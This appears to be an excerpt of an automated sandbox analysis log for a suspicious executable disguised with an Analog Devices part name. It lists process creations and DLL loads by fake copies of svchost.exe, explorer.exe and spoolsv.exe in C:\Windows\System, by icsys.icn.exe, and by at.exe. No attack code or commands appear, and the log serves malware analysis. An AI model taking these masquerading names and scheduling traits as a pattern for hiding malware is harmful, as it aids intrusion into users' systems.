Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System\svchost.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Section loaded: msvbvm60.dll	Jump to behavior
Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Section loaded: vb6zz.dll	Jump to behavior
Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Section loaded: msvbvm60.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Section loaded: vb6zz.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\icsys.icn.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: msvbvm60.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: vb6zz.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System\explorer.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	Section loaded: msvbvm60.dll	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	Section loaded: vb6zz.dll	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System\spoolsv.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System\svchost.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\svchost.exe	Section loaded: msvbvm60.dll
Source: C:\Windows\System\svchost.exe	Section loaded: vb6zz.dll
Source: C:\Windows\System\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\svchost.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System\svchost.exe	Section loaded: sxs.dll
Source: C:\Windows\System\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System\svchost.exe	Section loaded: netapi32.dll
Source: C:\Windows\System\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System\svchost.exe	Section loaded: mpr.dll
Source: C:\Windows\System\svchost.exe	Section loaded: drprov.dll
Source: C:\Windows\System\svchost.exe	Section loaded: winsta.dll
Source: C:\Windows\System\svchost.exe	Section loaded: ntlanman.dll
Source: C:\Windows\System\svchost.exe	Section loaded: davclnt.dll
Source: C:\Windows\System\svchost.exe	Section loaded: davhlpr.dll
Source: C:\Windows\System\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System\svchost.exe	Section loaded: cscapi.dll
Source: C:\Windows\System\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System\svchost.exe	Section loaded: browcli.dll
Source: C:\Windows\System\spoolsv.exe	Section loaded: msvbvm60.dll
Source: C:\Windows\System\spoolsv.exe	Section loaded: vb6zz.dll
Source: C:\Windows\System\spoolsv.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\spoolsv.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System\spoolsv.exe	Section loaded: sxs.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: cryptdll.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: schedcli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\at.exe	Section loaded: msv1_0.dll
